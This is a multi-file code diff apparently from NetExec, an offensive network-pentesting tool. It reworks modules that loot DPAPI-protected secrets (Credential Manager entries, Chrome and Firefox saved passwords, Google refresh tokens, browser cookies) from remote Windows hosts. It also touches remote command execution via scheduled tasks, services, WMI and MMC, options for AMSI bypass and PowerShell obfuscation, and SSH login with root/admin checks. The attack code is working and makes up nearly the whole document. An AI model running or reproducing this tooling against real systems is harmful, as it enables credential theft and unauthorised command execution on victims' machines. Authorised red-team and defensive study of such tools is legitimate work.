nthashes[self.username] = self.nthash
# Collect User and Machine masterkeys
try:
self.logger.display("Collecting User and Machine masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=target,
conn=conn,
pvkbytes=self.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
self.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
masterkeys += masterkeys_triage.triage_masterkeys()
if dump_system:
masterkeys += masterkeys_triage.triage_system_masterkeys()
except Exception as e:
self.logger.debug(f"Could not get masterkeys: {e}")
masterkeys = collect_masterkeys_from_target(self, target, conn, system=dump_system)
if len(masterkeys) == 0:
self.logger.fail("No masterkeys looted")
return None
return
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...")
credentials = []
system_credentials = []
# Collect User and Machine Credentials Manager secrets
def credential_callback(credential):
tag = "CREDENTIAL"
self.logger.highlight(f"[{credential.winuser}][{tag}] {credential.target} - {credential.username}:{credential.password}")
self.db.add_dpapi_secrets(
target.address,
tag,
credential.winuser,
credential.username,
credential.password,
credential.target,
)
try:
# Collect User and Machine Credentials Manager secrets
credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys)
credentials_triage = CredentialsTriage(target=target, conn=conn, masterkeys=masterkeys, per_credential_callback=credential_callback)
self.logger.debug(f"Credentials Triage Object: {credentials_triage}")
credentials = credentials_triage.triage_credentials()
self.logger.debug(f"Triaged Credentials: {credentials}")
credentials_triage.triage_credentials()
if dump_system:
system_credentials = credentials_triage.triage_system_credentials()
self.logger.debug(f"Triaged System Credentials: {system_credentials}")
credentials_triage.triage_system_credentials()
except Exception as e:
self.logger.debug(f"Error while looting credentials: {e}")
for credential in credentials:
self.logger.highlight(f"[{credential.winuser}][CREDENTIAL] {credential.target} - {credential.username}:{credential.password}")
self.db.add_dpapi_secrets(
target.address,
"CREDENTIAL",
credential.winuser,
credential.username,
credential.password,
credential.target,
)
for credential in system_credentials:
self.logger.highlight(f"[SYSTEM][CREDENTIAL] {credential.target} - {credential.username}:{credential.password}")
self.db.add_dpapi_secrets(
target.address,
"CREDENTIAL",
"SYSTEM",
credential.username,
credential.password,
credential.target,
)
dump_cookies = "cookies" in self.args.dpapi
browser_credentials = []
cookies = []
try:
# Collect Chrome Based Browser stored secrets
dump_cookies = "cookies" in self.args.dpapi
browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys)
browser_credentials, cookies = browser_triage.triage_browsers(gather_cookies=dump_cookies)
except Exception as e:
self.logger.debug(f"Error while looting browsers: {e}")
for credential in browser_credentials:
if isinstance(credential, LoginData):
cred_url = credential.url + " -" if credential.url != "" else "-"
self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] {cred_url} {credential.username}:{credential.password}")
# Collect Chrome Based Browser stored secrets
def browser_callback(secret):
if isinstance(secret, LoginData):
secret_url = secret.url + " -" if secret.url != "" else "-"
self.logger.highlight(f"[{secret.winuser}][{secret.browser.upper()}] {secret_url} {secret.username}:{secret.password}")
self.db.add_dpapi_secrets(
target.address,
credential.browser.upper(),
credential.winuser,
credential.username,
credential.password,
credential.url,
secret.browser.upper(),
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(credential, GoogleRefreshToken):
self.logger.highlight(f"[{credential.winuser}][{credential.browser.upper()}] Google Refresh Token: {credential.service}:{credential.token}")
elif isinstance(secret, GoogleRefreshToken):
self.logger.highlight(f"[{secret.winuser}][{secret.browser.upper()}] Google Refresh Token: {secret.service}:{secret.token}")
self.db.add_dpapi_secrets(
target.address,
credential.browser.upper(),
credential.winuser,
credential.service,
credential.token,
secret.browser.upper(),
secret.winuser,
secret.service,
secret.token,
"Google Refresh Token",
)
elif isinstance(secret, Cookie):
self.logger.highlight(f"[{secret.winuser}][{secret.browser.upper()}] {secret.host}{secret.path} - {secret.cookie_name}:{secret.cookie_value}")
if dump_cookies and cookies:
self.logger.display("Start Dumping Cookies")
for cookie in cookies:
if cookie.cookie_value != "":
self.logger.highlight(f"[{cookie.winuser}][{cookie.browser.upper()}] {cookie.host}{cookie.path} - {cookie.cookie_name}:{cookie.cookie_value}")
self.logger.display("End Dumping Cookies")
elif dump_cookies:
self.logger.fail("No cookies found")
vaults = []
try:
# Collect User Internet Explorer stored secrets
vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys)
vaults = vaults_triage.triage_vaults()
browser_triage = BrowserTriage(target=target, conn=conn, masterkeys=masterkeys, per_secret_callback=browser_callback)
browser_triage.triage_browsers(gather_cookies=dump_cookies)
except Exception as e:
self.logger.debug(f"Error while looting vaults: {e}")
for vault in vaults:
if vault.type == "Internet Explorer":
resource = vault.resource + " -" if vault.resource != "" else "-"
self.logger.highlight(f"[{vault.winuser}][IEX] {resource} - {vault.username}:{vault.password}")
self.logger.debug(f"Error while looting browsers: {e}")
def vault_callback(secret):
tag = "IEX"
if secret.type == "Internet Explorer":
resource = secret.resource + " -" if secret.resource != "" else "-"
self.logger.highlight(f"[{secret.winuser}][{tag}] {resource} - {secret.username}:{secret.password}")
self.db.add_dpapi_secrets(
target.address,
"IEX",
vault.winuser,
vault.username,
vault.password,
vault.resource,
tag,
secret.winuser,
secret.username,
secret.password,
secret.resource,
)
try:
# Collect User Internet Explorer stored secrets
vaults_triage = VaultsTriage(target=target, conn=conn, masterkeys=masterkeys, per_vault_callback=vault_callback)
vaults_triage.triage_vaults()
except Exception as e:
self.logger.debug(f"Error while looting vaults: {e}")
def firefox_callback(secret):
tag = "FIREFOX"
if isinstance(secret, FirefoxData):
url = secret.url + " -" if secret.url != "" else "-"
self.logger.highlight(f"[{secret.winuser}][{tag}] {url} {secret.username}:{secret.password}")
self.db.add_dpapi_secrets(
target.address,
tag,
secret.winuser,
secret.username,
secret.password,
secret.url,
)
elif isinstance(secret, FirefoxCookie):
self.logger.highlight(f"[{secret.winuser}][{tag}] {secret.host}{secret.path} {secret.cookie_name}:{secret.cookie_value}")
firefox_credentials = []
try:
# Collect Firefox stored secrets
firefox_triage = FirefoxTriage(target=target, logger=self.logger, conn=conn)
firefox_credentials = firefox_triage.run()
firefox_triage = FirefoxTriage(target=target, logger=self.logger, conn=conn, per_secret_callback=firefox_callback)
firefox_triage.run(gather_cookies=dump_cookies)
except Exception as e:
self.logger.debug(f"Error while looting firefox: {e}")
for credential in firefox_credentials:
url = credential.url + " -" if credential.url != "" else "-"
self.logger.highlight(f"[{credential.winuser}][FIREFOX] {url} {credential.username}:{credential.password}")
self.db.add_dpapi_secrets(
target.address,
"FIREFOX",
credential.winuser,
credential.username,
credential.password,
credential.url,
)
if not (credentials or system_credentials or browser_credentials or cookies or vaults or firefox_credentials):
self.logger.fail("No secrets found")
@requires_admin
def lsa(self):
+15 -19
View File
@@ -4,6 +4,7 @@ from impacket.dcerpc.v5.dtypes import NULL
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE, RPC_C_AUTHN_LEVEL_PKT_PRIVACY
from nxc.helpers.misc import gen_random_string
from time import sleep
from datetime import datetime, timedelta
class TSCH_EXEC:
@@ -60,17 +61,20 @@ class TSCH_EXEC:
def output_callback(self, data):
self.__outputBuffer = data
def get_end_boundary(self):
# Get current date and time + 5 minutes
end_boundary = datetime.now() + timedelta(minutes=5)
# Format it to match the format in the XML: "YYYY-MM-DDTHH:MM:SS.ssssss"
return end_boundary.strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3]
def gen_xml(self, command, fileless=False):
xml = """<?xml version="1.0" encoding="UTF-16"?>
xml = f"""<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<Triggers>
<CalendarTrigger>
<StartBoundary>2015-07-15T20:35:13.2757294</StartBoundary>
<Enabled>true</Enabled>
<ScheduleByDay>
<DaysInterval>1</DaysInterval>
</ScheduleByDay>
</CalendarTrigger>
<RegistrationTrigger>
<EndBoundary>{self.get_end_boundary()}</EndBoundary>
</RegistrationTrigger>
</Triggers>
<Principals>
<Principal id="LocalSystem">
@@ -134,7 +138,6 @@ class TSCH_EXEC:
xml = self.gen_xml(command, fileless)
self.logger.debug(f"Task XML: {xml}")
taskCreated = False
self.logger.info(f"Creating task \\{tmpName}")
try:
# windows server 2003 has no MSRPC_UUID_TSCHS, if it bind, it will return abstract_syntax_not_supported
@@ -147,11 +150,6 @@ class TSCH_EXEC:
else:
self.logger.fail(str(e))
return
else:
taskCreated = True
self.logger.info(f"Running task \\{tmpName}")
tsch.hSchRpcRun(dce, f"\\{tmpName}")
done = False
while not done:
@@ -164,10 +162,6 @@ class TSCH_EXEC:
self.logger.info(f"Deleting task \\{tmpName}")
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
taskCreated = False
if taskCreated is True:
tsch.hSchRpcDelete(dce, f"\\{tmpName}")
if self.__retOutput:
if fileless:
@@ -213,8 +207,10 @@ class TSCH_EXEC:
else:
self.logger.debug(str(e))
if self.__outputBuffer:
try:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output_filename}")
smbConnection.deleteFile(self.__share, self.__output_filename)
except Exception:
pass
dce.disconnect()
+7 -8
View File
@@ -2,7 +2,6 @@ import base64
import sys
import warnings
from datetime import datetime
from typing import Optional
from sqlalchemy import func, Table, select, delete
from sqlalchemy.dialects.sqlite import Insert # used for upsert
@@ -350,7 +349,7 @@ class database(BaseDB):
hosts = self.get_hosts(host)
if users and hosts:
for user, host in zip(users, hosts):
for user, host in zip(users, hosts, strict=True):
user_id = user[0]
host_id = host[0]
link = {"userid": user_id, "hostid": host_id}
@@ -693,7 +692,7 @@ class database(BaseDB):
except Exception as e:
nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}")
def get_domain_backupkey(self, domain: Optional[str] = None):
def get_domain_backupkey(self, domain: str | None = None):
"""
Get domain backupkey
:domain is the domain fqdn
@@ -748,11 +747,11 @@ class database(BaseDB):
def get_dpapi_secrets(
self,
filter_term=None,
host: Optional[str] = None,
dpapi_type: Optional[str] = None,
windows_user: Optional[str] = None,
username: Optional[str] = None,
url: Optional[str] = None,
host: str | None = None,
dpapi_type: str | None = None,
windows_user: str | None = None,
username: str | None = None,
url: str | None = None,
):
"""Get dpapi secrets from nxcdb"""
q = select(self.DpapiSecrets)
+97
View File
@@ -0,0 +1,97 @@
from dploot.lib.target import Target
from dploot.lib.smb import DPLootSMBConnection
from dploot.triage.backupkey import BackupkeyTriage
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
def get_domain_backup_key(context):
pvkbytes = None
try:
results = context.db.get_domain_backupkey(context.domain)
except Exception:
context.logger.fail(
"Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \
'workspace create dpapi' then re-run the dpapi option"
)
return False
if len(results) > 0:
context.logger.success("Loading domain backupkey from nxcdb...")
pvkbytes = results[0][2]
elif context.no_da is None and context.args.local_auth is False:
try:
dc_target = Target.create(
domain=context.domain,
username=context.username,
password=context.password,
target=context.domain, # querying DNS server for domain will return DC
lmhash=context.lmhash,
nthash=context.nthash,
do_kerberos=context.kerberos,
aesKey=context.aesKey,
no_pass=True,
use_kcache=context.use_kcache,
)
dc_conn = DPLootSMBConnection(dc_target)
dc_conn.connect() # Connect to DC
if dc_conn.is_admin():
context.logger.success("User is Domain Administrator, exporting domain backupkey...")
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
backupkey = backupkey_triage.triage_backupkey()
pvkbytes = backupkey.backupkey_v2
context.db.add_domain_backupkey(context.domain, pvkbytes)
else:
context.no_da = False
except Exception as e:
context.logger.fail(f"Could not get domain backupkey: {e}")
return pvkbytes
def collect_masterkeys_from_target(context, target, dploot_connection, user=True, system=True):
masterkeys = []
plaintexts = {}
nthashes = {}
if context.args.mkfile is not None:
try:
masterkeys += parse_masterkey_file(context.args.mkfile)
except Exception as e:
context.logger.fail(str(e))
if user:
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
if context.password != "":
plaintexts[context.username] = context.password
if context.nthash != "":
nthashes[context.username] = context.nthash
# Collect User and Machine masterkeys
try:
context.logger.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=target,
conn=dploot_connection,
pvkbytes=context.pvkbytes,
passwords=plaintexts,
nthashes=nthashes,
dpapiSystem={},
)
context.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
if user:
context.logger.debug("Collecting user masterkeys")
masterkeys += masterkeys_triage.triage_masterkeys()
if system:
context.logger.debug("Collecting machine masterkeys")
masterkeys += masterkeys_triage.triage_system_masterkeys()
except Exception as e:
context.logger.debug(f"Could not get masterkeys: {e}")
return masterkeys
def upgrade_to_dploot_connection(target, connection=None):
conn = None
try:
conn = DPLootSMBConnection(target)
if connection is not None:
conn.smb_session = connection
conn.connect()
except Exception:
return None
return conn
+53 -13
View File
@@ -7,10 +7,14 @@ import ntpath
from os import remove
import sqlite3
import tempfile
from dataclasses import dataclass
from typing import Any
from Cryptodome.Cipher import AES, DES3
from pyasn1.codec.der import decoder
from dploot.lib.smb import DPLootSMBConnection
from nxc.protocols.smb.dpapi import upgrade_to_dploot_connection
CKA_ID = unhexlify("f8000000000000000000000000000001")
@@ -21,6 +25,16 @@ class FirefoxData:
self.username = username
self.password = password
@dataclass
class FirefoxCookie:
winuser: str
host: str
path: str
cookie_name: str
cookie_value: str
creation_utc: str
expires_utc: str
last_access_utc: str
class FirefoxTriage:
"""
@@ -41,23 +55,19 @@ class FirefoxTriage:
"All Users",
)
def __init__(self, target, logger, conn: DPLootSMBConnection = None):
def __init__(self, target, logger, conn: DPLootSMBConnection = None, per_secret_callback: Any = None):
self.target = target
self.logger = logger
self.conn = conn
def upgrade_connection(self, connection=None):
self.conn = DPLootSMBConnection(self.target)
if connection is not None:
self.conn.smb_session = connection
else:
self.conn.connect()
self.per_secret_callback = per_secret_callback
def run(self):
def run(self, gather_cookies=False):
if self.conn is None:
self.upgrade_connection()
upgrade_to_dploot_connection(target=self.target)
firefox_data = []
firefox_cookies = []
# list users
users = self.get_users()
for user in users:
@@ -71,6 +81,11 @@ class FirefoxTriage:
continue
for d in [d for d in directories if d.get_longname() not in self.false_positive and d.is_directory() > 0]:
try:
if gather_cookies:
cookies_path = ntpath.join(self.firefox_generic_path.format(user), d.get_longname(), "cookies.sqlite")
cookies_data = self.conn.readFile(self.share, cookies_path)
if cookies_data is not None:
firefox_cookies += self.parse_cookie_data(user, cookies_data)
logins_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\logins.json"
logins_data = self.conn.readFile(self.share, logins_path)
if logins_data is None:
@@ -79,7 +94,7 @@ class FirefoxTriage:
if len(logins) == 0:
continue # No logins profile found
key4_path = self.firefox_generic_path.format(user) + "\\" + d.get_longname() + "\\key4.db"
key4_data = self.conn.readFile(self.share, key4_path, bypass_shared_violation=True)
key4_data = self.conn.readFile(self.share, key4_path)
if key4_data is None:
continue
key = self.get_key(key4_data=key4_data)
@@ -94,20 +109,45 @@ class FirefoxTriage:
decoded_username = self.decrypt(key=key, iv=username[1], ciphertext=username[2]).decode("utf-8")
password = self.decrypt(key=key, iv=pwd[1], ciphertext=pwd[2]).decode("utf-8")
if password is not None and decoded_username is not None:
firefox_data.append(
FirefoxData(
data = FirefoxData(
winuser=user,
url=host,
username=decoded_username,
password=password,
)
)
if self.per_secret_callback is not None:
self.per_secret_callback(data)
firefox_data.append(data)
except Exception as e:
if "STATUS_OBJECT_PATH_NOT_FOUND" in str(e):
continue
self.logger.exception(e)
return firefox_data
def parse_cookie_data(self, windows_user, cookies_data):
cookies = []
fh = tempfile.NamedTemporaryFile(delete=False)
fh.write(cookies_data)
fh.seek(0)
db = sqlite3.connect(fh.name)
cursor = db.cursor()
cursor.execute("SELECT name, value, host, path, expiry, lastAccessed, creationTime FROM moz_cookies;")
for name, value, host, path, expiry, lastAccessed, creationTime in cursor:
cookie = FirefoxCookie(
winuser=windows_user,
host=host,
path=path,
cookie_name=name,
cookie_value=value,
creation_utc=creationTime,
last_access_utc=lastAccessed,
expires_utc=expiry,
)
if self.per_secret_callback is not None:
self.per_secret_callback(cookie)
cookies.append(cookie)
return cookies
def get_login_data(self, logins_data):
json_logins = json.loads(logins_data)
if "logins" not in json_logins:
+3 -1
View File
@@ -280,6 +280,8 @@ class MMCEXEC:
else:
self.logger.debug(str(e))
if self.__outputBuffer:
try:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
self.__smbconnection.deleteFile(self.__share, self.__output)
except Exception:
pass
+2 -2
View File
@@ -23,7 +23,7 @@ def convert(low, high, lockout=False):
time = ""
tmp = 0
if low == 0 and hex(high) == "-0x80000000":
if low == 0 and high == -0x8000_0000 or low == 0 and high == -0x8000_0000_0000_0000:
return "Not Set"
if low == 0 and high == 0:
return "None"
@@ -35,7 +35,7 @@ def convert(low, high, lockout=False):
high = abs(high)
low = abs(low)
tmp = low + (high) * 16**8 # convert to 64bit int
tmp = low + (high << 32) # convert to 64bit int
tmp *= 1e-7 # convert to seconds
else:
tmp = abs(high) * (1e-7)
+14 -9
View File
@@ -1,24 +1,27 @@
from argparse import _StoreTrueAction
from nxc.helpers.args import DisplayDefaultsNotNone
from nxc.helpers.args import DisplayDefaultsNotNone, DefaultTrackingAction
def proto_args(parser, parents):
smb_parser = parser.add_parser("smb", help="own stuff using SMB", parents=parents, formatter_class=DisplayDefaultsNotNone)
smb_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
delegate_arg = smb_parser.add_argument("--delegate", action="store", help="Impersonate user with S4U2Self + S4U2Proxy")
self_delegate_arg = smb_parser.add_argument("--self", dest="no_s4u2proxy", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only do S4U2Self, no S4U2Proxy (use with delegate)")
dgroup = smb_parser.add_mutually_exclusive_group()
dgroup.add_argument("-d", "--domain", metavar="DOMAIN", dest="domain", type=str, help="domain to authenticate to")
dgroup.add_argument("--local-auth", action="store_true", help="authenticate locally to each target")
smb_parser.add_argument("--port", type=int, default=445, help="SMB port")
smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share")
smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int)
smb_parser.add_argument("--no-smbv1", action="store_true", help="Force to disable SMBv1 in connection")
smb_parser.add_argument("--gen-relay-list", metavar="OUTPUT_FILE", help="outputs all hosts that don't require SMB signing to the specified file")
smb_parser.add_argument("--smb-timeout", help="SMB connection timeout", type=int, default=2)
smb_parser.add_argument("--laps", dest="laps", metavar="LAPS", type=str, help="LAPS authentification", nargs="?", const="administrator")
smb_parser.add_argument("--generate-hosts-file", type=str, help="Generate a hosts file like from a range of IP")
smb_parser.add_argument("--generate-krb5-file", type=str, help="Generate a krb5 file like from a range of IP")
self_delegate_arg.make_required = [delegate_arg]
cred_gathering_group = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials")
@@ -34,10 +37,11 @@ def proto_args(parser, parents):
mapping_enum_group = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating")
mapping_enum_group.add_argument("--shares", action="store_true", help="enumerate shares and access")
mapping_enum_group.add_argument("--dir", nargs="?", type=str, const="", help="List the content of a path (default path: '%(const)s')")
mapping_enum_group.add_argument("--interfaces", action="store_true", help="enumerate network interfaces")
mapping_enum_group.add_argument("--no-write-check", action="store_true", help="Skip write check on shares (avoid leaving traces when missing delete permissions)")
mapping_enum_group.add_argument("--filter-shares", nargs="+", help="Filter share by access, option 'read' 'write' or 'read,write'")
mapping_enum_group.add_argument("--sessions", action="store_true", help="enumerate active sessions")
mapping_enum_group.add_argument("--smb-sessions", action="store_true", help="enumerate active smb sessions")
mapping_enum_group.add_argument("--disks", action="store_true", help="enumerate disks")
mapping_enum_group.add_argument("--loggedon-users-filter", action="store", help="only search for specific user, works with regex")
mapping_enum_group.add_argument("--loggedon-users", action="store_true", help="enumerate logged on users")
@@ -47,6 +51,8 @@ def proto_args(parser, parents):
mapping_enum_group.add_argument("--local-groups", nargs="?", const="", metavar="GROUP", help="enumerate local groups, if a group is specified then its members are enumerated")
mapping_enum_group.add_argument("--pass-pol", action="store_true", help="dump password policy")
mapping_enum_group.add_argument("--rid-brute", nargs="?", type=int, const=4000, metavar="MAX_RID", help="enumerate users by bruteforcing RIDs")
mapping_enum_group.add_argument("--qwinsta", action="store_true", help="Enumerate RDP connections")
mapping_enum_group.add_argument("--tasklist", action="store_true", help="Enumerate running processes")
wmi_group = smb_parser.add_argument_group("WMI", "Options for WMI Queries")
wmi_group.add_argument("--wmi", metavar="QUERY", type=str, help="issues the specified WMI query")
@@ -69,7 +75,7 @@ def proto_args(parser, parents):
files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
cmd_exec_group = smb_parser.add_argument_group("Command Execution", "Options for executing commands")
cmd_exec_group.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default="wmiexec", help="method to execute the command. Ignored if in MSSQL mode")
cmd_exec_group.add_argument("--exec-method", choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default="wmiexec", help="method to execute the command. Ignored if in MSSQL mode", action=DefaultTrackingAction)
cmd_exec_group.add_argument("--dcom-timeout", help="DCOM connection timeout", type=int, default=5)
cmd_exec_group.add_argument("--get-output-tries", help="Number of times atexec/smbexec/mmcexec tries to get results", type=int, default=10)
cmd_exec_group.add_argument("--codec", default="utf-8", help="Set encoding used (codec) from the target's output. If errors are detected, run chcp.com at the target & map the result with https://docs.python.org/3/library/codecs.html#standard-encodings and then execute again with --codec and the corresponding codec")
@@ -78,7 +84,7 @@ def proto_args(parser, parents):
cmd_exec_method_group = cmd_exec_group.add_mutually_exclusive_group()
cmd_exec_method_group.add_argument("-x", metavar="COMMAND", dest="execute", help="execute the specified CMD command")
cmd_exec_method_group.add_argument("-X", metavar="PS_COMMAND", dest="ps_execute", help="execute the specified PowerShell command")
posh_group = smb_parser.add_argument_group("Powershell Obfuscation", "Options for PowerShell script obfuscation")
posh_group.add_argument("--obfs", action="store_true", help="Obfuscate PowerShell scripts")
posh_group.add_argument("--amsi-bypass", nargs=1, metavar="FILE", help="File with a custom AMSI bypass")
@@ -86,7 +92,6 @@ def proto_args(parser, parents):
posh_group.add_argument("--force-ps32", action="store_true", help="force PowerShell commands to run in a 32-bit process (may not apply to modules)")
posh_group.add_argument("--no-encode", action="store_true", default=False, help="Do not encode the PowerShell command ran on target")
return parser
def get_conditional_action(baseAction):
@@ -101,4 +106,4 @@ def get_conditional_action(baseAction):
x.required = True
super().__call__(parser, namespace, values, option_string)
return ConditionalAction
return ConditionalAction
+1 -1
View File
@@ -77,7 +77,7 @@ class SamrFunc:
member_sids = self.samr_query.get_alias_members(domain_handle, self.groups["Administrators"])
member_names = self.lsa_query.lookup_sids(member_sids)
for sid, name in zip(member_sids, member_names):
for sid, name in zip(member_sids, member_names, strict=True):
print(f"{name} - {sid}")
+6 -1
View File
@@ -124,7 +124,10 @@ class SMBEXEC:
try:
self.logger.debug(f"Remote service {self.__serviceName} started.")
scmr.hRStartServiceW(self.__scmr, service)
except Exception:
pass
try:
self.logger.debug(f"Remote service {self.__serviceName} deleted.")
scmr.hRDeleteService(self.__scmr, service)
scmr.hRCloseServiceHandle(self.__scmr, service)
@@ -169,9 +172,11 @@ class SMBEXEC:
else:
self.logger.debug(str(e))
if self.__outputBuffer:
try:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
self.__smbconnection.deleteFile(self.__share, self.__output)
except Exception:
pass
def execute_fileless(self, data):
self.__output = gen_random_string(6)
+3 -1
View File
@@ -171,6 +171,8 @@ class WMIEXEC:
else:
self.logger.debug(f"Exception when trying to read output file: {e}")
if self.__outputBuffer:
try:
self.logger.debug(f"Deleting file {self.__share}\\{self.__output}")
self.__smbconnection.deleteFile(self.__share, self.__output)
except Exception:
pass
+142 -97
View File
@@ -1,4 +1,5 @@
import paramiko
import os
import re
import uuid
import logging
@@ -19,6 +20,8 @@ class ssh(connection):
self.protocol = "SSH"
self.remote_version = "Unknown SSH Version"
self.server_os_platform = "Linux"
self.shell_access = False
self.admin_privs = False
self.uac = ""
super().__init__(args, db, host)
@@ -33,8 +36,11 @@ class ssh(connection):
return
if self.login():
if hasattr(self.args, "module") and self.args.module:
self.load_modules()
self.logger.debug("Calling modules")
self.call_modules()
else:
self.logger.debug("Calling command arguments")
self.call_cmd_args()
self.conn.close()
@@ -52,7 +58,6 @@ class ssh(connection):
def print_host_info(self):
self.logger.display(self.remote_version if self.remote_version != "Unknown SSH Version" else f"{self.remote_version}, skipping...")
return True
def enum_host_info(self):
if self.conn._transport.remote_version:
@@ -74,11 +79,118 @@ class ssh(connection):
except OSError:
return False
def check_if_admin(self):
self.admin_privs = False
def plaintext_login(self, username, password, private_key=""):
self.username = username
self.password = password
try:
if self.args.key_file or private_key:
self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}")
self.conn.connect(
self.host,
port=self.port,
username=username,
passphrase=password if password != "" else None,
pkey=private_key,
key_filename=self.args.key_file,
timeout=self.args.ssh_timeout,
look_for_keys=False,
allow_agent=False,
banner_timeout=self.args.ssh_timeout,
)
# If we get the private key from the file, we need to load it into the database
if self.args.key_file:
with open(self.args.key_file) as f:
private_key = f.read().rstrip("\n")
cred_id = self.db.add_credential("key", username, password, key=private_key)
else:
self.logger.debug(f"Logging {self.host} with username: {self.username}, password: {self.password}")
self.conn.connect(
self.host,
port=self.port,
username=username,
password=password,
timeout=self.args.ssh_timeout,
look_for_keys=False,
allow_agent=False,
banner_timeout=self.args.ssh_timeout,
)
cred_id = self.db.add_credential("plaintext", username, password)
self.check_shell(cred_id)
secret = process_secret(self.password) if not self.args.key_file else f"{process_secret(self.password)} (keyfile: {self.args.key_file})"
display_shell_access = f"{self.uac}{self.server_os_platform}{' - Shell access!' if self.shell_access else ''}"
self.logger.success(f"{self.username}:{process_secret(secret)} {self.mark_pwned()} {highlight(display_shell_access)}")
return True
except AuthenticationException as e:
if "Private key file is encrypted" in str(e):
self.logger.fail(f"{username}:{process_secret(password)} Could not load private key, error: {e}")
else:
self.logger.fail(f"{username}:{process_secret(password)}")
except SSHException as e:
if "Invalid key" in str(e):
self.logger.fail(f"{username}:{process_secret(password)} Could not decrypt private key, invalid password")
elif "Error reading SSH protocol banner" in str(e):
self.logger.error(f"Internal Paramiko error for {username}:{process_secret(password)}, {e}")
else:
self.logger.exception(e)
except Exception as e:
self.logger.exception(e)
self.conn.close()
return False
def check_shell(self, cred_id):
host_id = self.db.get_hosts(self.host)[0].id
# Some IOT devices will not raise exception in self.conn._transport.auth_password / self.conn._transport.auth_publickey
# Check Linux
stdout = self.conn.exec_command("id")[1].read().decode(self.args.codec, errors="ignore")
if stdout:
self.server_os_platform = "Linux"
self.logger.debug(f"Linux detected for user: {stdout}")
self.shell_access = True
self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access)
self.check_linux_priv()
if self.admin_privs:
self.logger.debug(f"User {self.username} logged in successfully and is root!")
if self.args.key_file:
self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id)
else:
self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id)
return
# Check Windows
stdout = self.conn.exec_command("whoami /priv")[1].read().decode(self.args.codec, errors="ignore")
if stdout:
self.server_os_platform = "Windows"
self.logger.debug("Windows detected")
self.shell_access = True
self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access)
self.check_windows_priv(stdout)
if self.admin_privs:
self.logger.debug(f"User {self.username} logged in successfully and is admin!")
if self.args.key_file:
self.db.add_admin_user("key", self.username, self.password, host_id=host_id, cred_id=cred_id)
else:
self.db.add_admin_user("plaintext", self.username, self.password, host_id=host_id, cred_id=cred_id)
return
# No shell access
self.shell_access = False
self.logger.debug(f"User: {self.username} can't get a basic shell")
self.server_os_platform = "Network Devices"
self.db.add_loggedin_relation(cred_id, host_id, shell=self.shell_access)
def check_windows_priv(self, stdout):
if "SeDebugPrivilege" in stdout:
self.admin_privs = True
elif "SeUndockPrivilege" in stdout:
self.admin_privs = True
self.uac = "with UAC - "
def check_linux_priv(self):
if self.args.sudo_check:
self.check_if_admin_sudo()
self.check_linux_priv_sudo()
return
# we could add in another method to check by piping in the password to sudo
@@ -105,7 +217,7 @@ class ssh(connection):
self.logger.display(tips)
return
def check_if_admin_sudo(self):
def check_linux_priv_sudo(self):
if not self.password:
self.logger.error("Check admin with sudo does not support using a private key")
return
@@ -181,102 +293,35 @@ class ssh(connection):
self.logger.error("Command: 'mkfifo' unavailable, running command with 'sudo' failed")
return
def plaintext_login(self, username, password, private_key=""):
self.username = username
self.password = password
stdout = None
def put_file_single(self, sftp_conn, src, dst):
self.logger.display(f'Copying "{src}" to "{dst}"')
try:
if self.args.key_file or private_key:
self.logger.debug(f"Logging {self.host} with username: {username}, keyfile: {self.args.key_file}")
self.conn.connect(
self.host,
port=self.port,
username=username,
passphrase=password if password != "" else None,
key_filename=private_key if private_key else self.args.key_file,
timeout=self.args.ssh_timeout,
look_for_keys=False,
allow_agent=False,
banner_timeout=self.args.ssh_timeout,
)
cred_id = self.db.add_credential(
"key",
username,
password if password != "" else "",
key=private_key,
)
else:
self.logger.debug(f"Logging {self.host} with username: {self.username}, password: {self.password}")
self.conn.connect(
self.host,
port=self.port,
username=username,
password=password,
timeout=self.args.ssh_timeout,
look_for_keys=False,
allow_agent=False,
banner_timeout=self.args.ssh_timeout,
)
